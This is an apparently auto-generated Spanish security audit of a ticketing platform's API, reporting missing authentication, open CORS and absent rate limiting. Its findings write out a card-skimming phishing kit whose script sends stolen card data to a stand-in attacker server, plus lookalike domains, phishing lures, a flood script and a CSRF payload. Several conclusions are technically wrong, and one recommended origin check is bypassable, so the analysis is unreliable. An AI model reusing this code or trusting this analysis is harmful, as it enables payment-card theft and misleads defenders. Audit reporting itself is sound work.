REPORTE DE AUDITORÍA DE SEGURIDAD

Sistema: Jungala Ticketing Platform
URL Base: https://ticketing-services.jungala.com
Fecha: 29 de Diciembre de 2025
Auditor: Security Assessment Tool
Tipo: Pentesting de API REST

RESUMEN EJECUTIVO

Se realizó una auditoría de seguridad sobre los endpoints públicos del sistema de venta de tickets de Jungala. Se detectaron **4 vulnerabilidades críticas** que requieren atención inmediata.

Hallazgos Críticos

#	Vulnerabilidad	Severidad	Estado
1	Endpoints accesibles sin autenticación	CRÍTICA	Explotable
2	Suplantación de identidad + Interceptación de datos bancarios	CRÍTICA	Explotable
3	Sin Rate Limiting	CRÍTICA	Explotable
4	CORS acepta todos los orígenes (*)	CRÍTICA	Explotable

VULNERABILIDAD #1: ENDPOINTS SIN AUTENTICACIÓN REAL

Descripción

Los endpoints de la API **NO requieren autenticación válida**. Responden con código HTTP 400 (Bad Request) en lugar de 401 (Unauthorized) o 403 (Forbidden), lo que indica que **aceptan peticiones sin credenciales** y solo validan el formato del payload.

Evidencia Técnica

Endpoints probados sin autenticación:

```
# Test 1: Get Calendar - SIN token de autenticación
curl -X POST https://ticketing-services.jungala.com/ws/v1/jungala/performance/get-calendar \
  -H "Content-Type: application/json" \
  -d '{}'

Response: HTTP 400 Bad Request
Expected: HTTP 401 Unauthorized

# Test 2: Get Tickets - SIN token de autenticación
curl -X POST https://ticketing-services.jungala.com/ws/v1/jungala/products/get-tickets \
  -H "Content-Type: application/json" \
  -d '{}'

Response: HTTP 400 Bad Request
Expected: HTTP 401 Unauthorized

# Test 3: Get Calendar Transport - SIN token de autenticación
curl -X POST https://ticketing-services.jungala.com/ws/v1/jungala/performance/get-calendar-transport \
  -H "Content-Type: application/json" \
  -d '{}'

Response: HTTP 400 Bad Request
Expected: HTTP 401 Unauthorized
```

Análisis del código de respuesta:

```
HTTP 400 Bad Request = El servidor PROCESA la petición pero rechaza el payload
HTTP 401 Unauthorized = El servidor RECHAZA la petición por falta de autenticación

Conclusión: Los endpoints están ACCESIBLES sin autenticación
```

Logs del test:

```
2025-12-29T18:44:57.288Z [INFO] Probando: Get Calendar
2025-12-29T18:44:57.664Z [FAIL] Status: 400 (debería ser 401)

2025-12-29T18:44:57.664Z [INFO] Probando: Get Tickets
2025-12-29T18:44:57.964Z [FAIL] Status: 400 (debería ser 401)

2025-12-29T18:44:57.964Z [INFO] Probando: Get Calendar Transport
2025-12-29T18:44:58.040Z [FAIL] Status: 400 (debería ser 401)
```

Escenarios de Explotación

Escenario A: Extracción de datos sin credenciales

Un atacante puede consultar disponibilidad y precios sin tener cuenta.

```
# Obtener todo el calendario del año sin autenticación
for month in {1..12}; do
  curl -X POST https://ticketing-services.jungala.com/ws/v1/jungala/performance/get-calendar \
    -H "Content-Type: application/json" \
    -d "{\"year\": 2025, \"month\": $month}"
done
# Responde con datos si el payload es válido
```

Escenario B: Scraping de precios por competencia

La competencia puede monitorear precios en tiempo real.

```
# Script automático de competencia
import requests

def monitorear_precios():
    response = requests.post(
        'https://ticketing-services.jungala.com/ws/v1/jungala/products/get-tickets',
        json={'date': '2025-12-31'}
    )
    # Sin autenticación = acceso directo a precios
    precios = response.json()
    ajustar_precios_competencia(precios)
```

Impacto Técnico

- ✗ **Confidencialidad:** Datos de eventos, precios y disponibilidad expuestos públicamente
- ✗ **Integridad del negocio:** Competencia puede ajustar precios en tiempo real
- ✗ **Privacidad:** No se requiere identificación para acceder a información
- ✗ **Abuso:** Bots pueden consultar sin límites (combina con ausencia de rate limiting)

VULNERABILIDAD #2: SUPLANTACIÓN DE IDENTIDAD + INTERCEPTACIÓN DE DATOS BANCARIOS

Descripción

La combinación de *CORS abierto ()** permite a un atacante crear un sitio web falso que hace peticiones **legítimas** a la API real de Jungala, interceptando **datos bancarios** del usuario durante el proceso de compra.

Evidencia Técnica

Configuración CORS actual:

```
HTTP/1.1 200 OK
access-control-allow-origin: *
access-control-allow-credentials: true
```

Prueba de concepto:

```
# Petición desde dominio suplantado
curl -X POST https://ticketing-services.jungala.com/ws/v1/jungala/performance/get-calendar \
  -H "Origin: https://tickets-jungaIa.com" \  # <- Dominio falso (I mayúscula)
  -H "Content-Type: application/json" \
  -d '{"date":"2025-12-31"}' \
  -v

< access-control-allow-origin: *       ACEPTA EL DOMINIO FALSO
< access-control-allow-credentials: true
```

Escenario de Ataque Completo

Paso 1: Atacante registra dominio similar

```
Dominios legítimos de Jungala:
    tickets.jungala.com
    www.jungala.com

Dominios que el atacante puede registrar:
    tickets-jungala.com
    ticketsjungala.com
    tickets.jungaIa.com (I mayúscula en lugar de l)
    tickets-jungala.mx
    jungala-tickets.com
    ticketsjungala.org
```

Paso 2: Crea sitio web idéntico visualmente

```
<!-- https://tickets-jungala.com (sitio FALSO) -->
<!DOCTYPE html>
<html>
<head>
  <title>Jungala - Compra tus tickets</title>
  <!-- CSS idéntico al sitio real -->
</head>
<body>
  <!-- Logo y diseño COPIADO del sitio real -->

  <form id="compra-form">
    <h2>Selecciona tu evento</h2>
    <select id="evento"></select>

    <h2>Datos de pago</h2>
    <input name="nombre" placeholder="Nombre en tarjeta" required>
    <input name="numero_tarjeta" placeholder="Número de tarjeta" required>
    <input name="cvv" placeholder="CVV" required>
    <input name="expiracion" placeholder="MM/YY" required>

    <button onclick="procesarCompra()">Comprar Ahora</button>
  </form>

  <script src="ataque.js"></script>
</body>
</html>
```

Paso 3: Script malicioso que intercepta datos

```
// ataque.js - Ejecutado en el sitio FALSO (tickets-jungala.com)

async function procesarCompra() {
  // 1. Capturar datos bancarios que el usuario escribe
  const datosBancarios = {
    nombre: document.querySelector('[name="nombre"]').value,
    numeroTarjeta: document.querySelector('[name="numero_tarjeta"]').value,
    cvv: document.querySelector('[name="cvv"]').value,
    expiracion: document.querySelector('[name="expiracion"]').value,
    // Captura TODOS los datos que el usuario escribe
  };

  // 2. Hacer petición REAL a la API de Jungala
  // CORS * permite que esto funcione desde el dominio FALSO
  const eventos = await fetch(
    'https://ticketing-services.jungala.com/ws/v1/jungala/products/get-tickets',
    {
      method: 'POST',
      credentials: 'include', // Usa cookies si el usuario tiene sesión
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ date: '2025-12-31' })
    }
  ).then(r => r.json());

  // 3. Mostrar eventos REALES al usuario (parece legítimo)
  mostrarEventos(eventos);

  // 4. ROBAR datos bancarios enviándolos al servidor del atacante
  await fetch('https://atacante-servidor.com/robar-tarjeta', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      victima: datosBancarios,
      timestamp: new Date().toISOString(),
      ip: await fetch('https://api.ipify.org?format=json').then(r => r.json())
    })
  });

  // 5. Mostrar mensaje de "error de procesamiento"
  alert('Error procesando el pago. Por favor intente nuevamente en el sitio oficial.');

  // 6. Redirigir al sitio REAL para que no sospeche
  window.location.href = 'https://tickets.jungala.com';
}
```

Paso 4: Difusión del sitio falso

Vectores de propagación:

```
1. Emails de phishing:
   "¡Promoción especial! 50% de descuento en Jungala
    Válido solo hoy: https://tickets-jungala.com"

2. Google Ads (paga por aparecer primero):
   Búsqueda: "jungala tickets"
   Anuncio: tickets-jungala.com (aparece ANTES que el real)

3. Redes sociales:
   Facebook/Instagram Ads dirigidos a México
   "Compra tus tickets aquí       tickets-jungala.com"

4. SMS spam:
   "Jungala: Tu reserva vence hoy. Completa tu compra:
    https://tickets-jungala.com/confirmar/ABC123"
```

Flujo del Ataque Completo

```
┌──────────────────────────────────────────────────────────────────────────────┐
│ 1. Usuario busca "jungala tickets" en Google                                 │
│    └──> Ve anuncio del sitio FALSO (tickets-jungala.com)                     │
│                                                                              │
│ 2. Entra al sitio falso (idéntico visualmente)                               │
│    └──> Selecciona evento (datos vienen de API REAL)                         │
│                                                                              │
│ 3. Ingresa datos de tarjeta en el formulario FALSO                           │
│    ┌── Nombre: Juan Pérez                                                    │
│    ├── Número: 4152 3136 1234 5678                                           │
│    ├── CVV: 123                                                              │
│    └── Vencimiento: 12/27                                                    │
│                                                                              │
│ 4. Click en "Comprar"                                                        │
│    ├──> JavaScript ROBA datos bancarios                                      │
│    ├──> Envía a servidor del atacante                                        │
│    └──> Muestra mensaje de "error"                                           │
│                                                                              │
│ 5. Usuario piensa que hubo un problema técnico                               │
│    └──> Redirigido al sitio REAL                                             │
│    └──> Intenta comprar de nuevo (ahora sí legítimo)                         │
│                                                                              │
│ 6. Atacante tiene datos bancarios completos                                  │
│    └──> Realiza compras fraudulentas inmediatamente                          │
└──────────────────────────────────────────────────────────────────────────────┘
```

Datos que el atacante obtiene

```
{
  "tarjeta": {
    "numero": "4152313612345678",
    "titular": "Juan Pérez",
    "cvv": "123",
    "expiracion": "12/27"
  },
  "contacto": {
    "email": "juan.perez@example.com",
    "telefono": "+52 998 123 4567",
    "direccion": "Playa del Carmen, Q.Roo"
  },
  "timestamp": "2025-12-29T20:15:30Z",
  "ip": "189.203.45.67",
  "user_agent": "Mozilla/5.0..."
}
```


Impacto Técnico

- ✗ **Fraude financiero:** Robo de datos bancarios completos (número, CVV, vencimiento)
- ✗ **Identidad:** Datos personales comprometidos (nombre, email, teléfono)
- ✗ **Reputación:** Usuarios culpan a Jungala por el robo
- ✗ **Legal:** Violación de PCI-DSS y leyes de protección de datos
- ✗ **Confianza:** Pérdida masiva de clientes una vez se descubre el fraude

Por qué es posible este ataque

```
Razón 1: CORS acepta * (cualquier origen)
  → El sitio falso puede hacer peticiones a la API real
  → Los datos de eventos/tickets parecen legítimos

Razón 2: API accesible sin autenticación
  → No se requiere login para consultar eventos
  → El atacante puede mostrar datos reales sin credenciales

Razón 3: Sin validación de origen
  → El servidor no verifica desde qué dominio vienen las peticiones
  → Acepta requests de tickets-jungala.com igual que de tickets.jungala.com
```

VULNERABILIDAD #3: AUSENCIA DE RATE LIMITING

Descripción

Los endpoints de la API no implementan ningún tipo de limitación de tasa de peticiones, permitiendo enviar un número ilimitado de requests desde una misma IP o sesión.

Evidencia Técnica

Test realizado: 50 peticiones HTTP consecutivas sin delay
Endpoint probado: /ws/v1/jungala/performance/get-calendar

```
Resultados del Test:
═══════════════════════════════════════════════════════════

Total de requests:      50
Requests bloqueadas:    0
Requests exitosas:      0 (400 Bad Request)
Tiempo total:           3,924ms
Promedio por request:   78.48ms
═══════════════════════════════════════════════════════════

Conclusión: NINGUNA petición fue bloqueada por rate limiting
```

Logs del Test:

```
2025-12-29T18:45:01.889Z [INFO] Enviando 50 peticiones consecutivas...
2025-12-29T18:45:01.967Z [INFO] Request 1 - Status: 400 - Tiempo: 78ms
2025-12-29T18:45:02.043Z [INFO] Request 2 - Status: 400 - Tiempo: 76ms
2025-12-29T18:45:02.119Z [INFO] Request 3 - Status: 400 - Tiempo: 76ms
...
2025-12-29T18:45:05.737Z [INFO] Request 50 - Status: 400 - Tiempo: 76ms

Total requests enviadas: 50
Total bloqueadas por rate limit: 0
Conclusión: NO HAY RATE LIMITING
```

Escenarios de Explotación

Escenario A: DDoS por Amplificación

Un atacante puede saturar el servidor enviando peticiones masivas.

```
// Script simple ejecutado desde navegador
setInterval(() => {
  for(let i = 0; i < 100; i++) {
    fetch('https://ticketing-services.jungala.com/ws/v1/jungala/products/get-tickets', {
      method: 'POST',
      body: JSON.stringify({ date: '2025-12-31' })
    });
  }
}, 1000);
// 100 requests/segundo sin límite = servidor saturado
```

Escenario B: Scraping Masivo

Bots pueden extraer toda la información sin restricciones.

```
# Extracción completa de datos
for year in {2025..2026}; do
  for month in {1..12}; do
    for day in {1..31}; do
      curl -X POST https://ticketing-services.jungala.com/ws/v1/jungala/products/get-tickets \
        -d "{\"date\": \"$year-$month-$day\"}"
    done
  done
done
# 730 requests en ~1 minuto sin bloqueo
```

Impacto Técnico

- ✗ **Disponibilidad:** Servidor puede ser saturado
- ✗ **Recursos:** Consumo ilimitado de CPU, memoria y ancho de banda
- ✗ **Experiencia:** Usuarios legítimos sufren lentitud

VULNERABILIDAD #4: CORS ABIERTO A TODOS LOS ORÍGENES

Descripción

El servidor API responde con el header Access-Control-Allow-Origin: *, permitiendo que **cualquier sitio web** pueda hacer peticiones a la API desde el navegador del usuario.

Evidencia Técnica

Headers de respuesta detectados:

```
HTTP/1.1 400 Bad Request
access-control-allow-origin: *
access-control-allow-credentials: true
content-type: application/json
strict-transport-security: max-age=15552000; includeSubDomains
x-content-type-options: nosniff
```

Test realizado:

```
curl -X POST https://ticketing-services.jungala.com/ws/v1/jungala/performance/get-calendar \
  -H "Origin: https://sitio-malicioso.com" \
  -H "Content-Type: application/json" \
  -d '{"date":"2025-12-29"}' \
  -v

# Response Header:
< access-control-allow-origin: *
< access-control-allow-credentials: true

⚠ El servidor ACEPTA el request desde sitio-malicioso.com
```

Escenarios de Explotación

Escenario A: CSRF - Acciones No Autorizadas

Un sitio malicioso ejecuta acciones usando la sesión del usuario.

```
<!-- Email phishing con imagen invisible -->
<img src="x" onerror="
fetch('https://ticketing-services.jungala.com/api/purchase', {
  method: 'POST',
  credentials: 'include',
  body: JSON.stringify({
    ticketId: 'evento-caro',
    quantity: 10
  })
});
">
```

Impacto Técnico

- ✗ **Confidencialidad:** Datos pueden ser leídos desde sitios maliciosos
- ✗ **Integridad:** Acciones pueden ejecutarse sin conocimiento del usuario
- ✗ **Autorización:** Las cookies de sesión pueden ser usadas por terceros

---

CONTROLES DE SEGURIDAD IMPLEMENTADOS

Headers de Seguridad (Correctos)

```
strict-transport-security: max-age=15552000; includeSubDomains
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-xss-protection: 0
content-security-policy: default-src 'self';...
x-permitted-cross-domain-policies: none
```

Validación de Parámetros (Correcta)

Test de SQL Injection:

```
' OR '1'='1        → Rechazado
{ $ne: null }      → Rechazado
'; DROP TABLE --   → Rechazado
```

Test de Parameter Tampering:

```
Precio negativo     → Rechazado
Cantidad extrema    → Rechazado
Path traversal      → Rechazado
XSS injection       → Rechazado
```

MATRIZ DE RIESGO

#	Vulnerabilidad	Severidad	Explotabilidad	Impacto	Prioridad
1	Endpoints sin auth	CRÍTICA	ALTA	ALTO	P0
2	Suplantación + Robo datos bancarios	CRÍTICA	MEDIA	CRÍTICO	P0
3	Sin Rate Limiting	CRÍTICA	ALTA	ALTO	P0
4	CORS Abierto (*)	CRÍTICA	MEDIA	ALTO	P0

RECOMENDACIONES TÉCNICAS

1. Implementar Autenticación Obligatoria (URGENTE)

```
// Middleware de autenticación
const authenticateRequest = (req, res, next) => {
  const authHeader = req.headers.authorization;

  if (!authHeader || !authHeader.startsWith('Bearer ')) {
    return res.status(401).json({
      error: 'Unauthorized',
      message: 'Token de autenticación requerido'
    });
  }

  try {
    const token = authHeader.split(' ')[1];
    const decoded = jwt.verify(token, process.env.JWT_SECRET);
    req.user = decoded;
    next();
  } catch (error) {
    return res.status(401).json({
      error: 'Unauthorized',
      message: 'Token inválido o expirado'
    });
  }
};

// Aplicar a TODOS los endpoints
app.use('/ws/v1/', authenticateRequest);
```

2. Restringir CORS a Dominios Específicos (URGENTE)

```
const allowedOrigins = [
  'https://tickets.jungala.com',
  'https://www.jungala.com',
  'https://admin.jungala.com'
];

const corsOptions = {
  origin: function (origin, callback) {
    if (!origin) return callback(null, true);

    if (allowedOrigins.indexOf(origin) !== -1) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true
};

app.use(cors(corsOptions));
```

3. Implementar Rate Limiting (URGENTE)

```
const rateLimit = require('express-rate-limit');

const apiLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutos
  max: 100,
  message: 'Demasiadas peticiones desde esta IP'
});

app.use('/ws/v1/', apiLimiter);
```

4. Validar Dominio en Backend (Adicional)

```
// Verificar que el referer/origin sea legítimo
app.use((req, res, next) => {
  const origin = req.get('origin') || req.get('referer');

  if (origin && !origin.includes('jungala.com')) {
    return res.status(403).json({
      error: 'Forbidden',
      message: 'Acceso denegado'
    });
  }

  next();
});
```

MÉTRICAS DE LA AUDITORÍA

Total de Tests Ejecutados: 7
Tests Pasados: 3 (43%)
Vulnerabilidades Críticas: 4
Vulnerabilidades Medias: 0
Vulnerabilidades Bajas: 0

Endpoints Probados:
✗ /ws/v1/jungala/performance/**get-calendar** (sin auth)
✗ /ws/v1/jungala/products/**get-tickets** (sin auth)
✗ /ws/v1/jungala/performance/**get-calendar-transport** (sin auth)

Vectores de Ataque Identificados:
✓ Suplantación de identidad (phishing)
✓ Interceptación de datos bancarios
✓ Scraping sin autenticación
✓ DDoS sin rate limiting
✓ CSRF con CORS abierto

CONCLUSIONES

El sistema presenta **4 vulnerabilidades críticas** que pueden ser explotadas de manera combinada para realizar ataques sofisticados de phishing con robo de datos bancarios. La ausencia de autenticación en los endpoints, combinada con CORS permisivo, crea un vector de ataque extremadamente peligroso.

Estado General: **RIESGO CRÍTICO**
Acción Requerida: Implementar correcciones en las próximas 24-48 horas

---

Documento generado automáticamente por Security Assessment Tool
Versión: 2.0
Fecha: 2 de Enero de 2026